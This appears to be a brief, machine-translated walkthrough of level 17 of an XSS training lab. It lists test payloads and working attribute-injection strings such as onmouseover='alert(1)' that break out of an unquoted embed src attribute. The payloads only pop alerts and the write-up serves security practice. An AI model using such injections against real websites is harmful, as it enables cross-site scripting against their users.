level17

 

（ It should be opened in the website swf file ）

Use the basic statement first , Look what's filtered

?arg01=<script>alert('xss')</script>&arg02=<script>alert('xss')</script>

 < > It's escaped , and " It's also escaped

<embed> Tag is to introduce a swf file To browser side , And its src Attribute value is not added quotes , So don't close

Try this code directly

onclick='alert(1)'

  Not filtered

  Firefox cannot display pictures , Using Sogou browser

?arg01=a&arg02=123 onmousedown='alert(1)'

?arg01=a&arg02=123 onmouseover='alert(1)'

To add 123, Give Way a=123, Separate the code , Otherwise, you can't pop up

however οnclick='alert(1)'  Unable to pop up , do not know why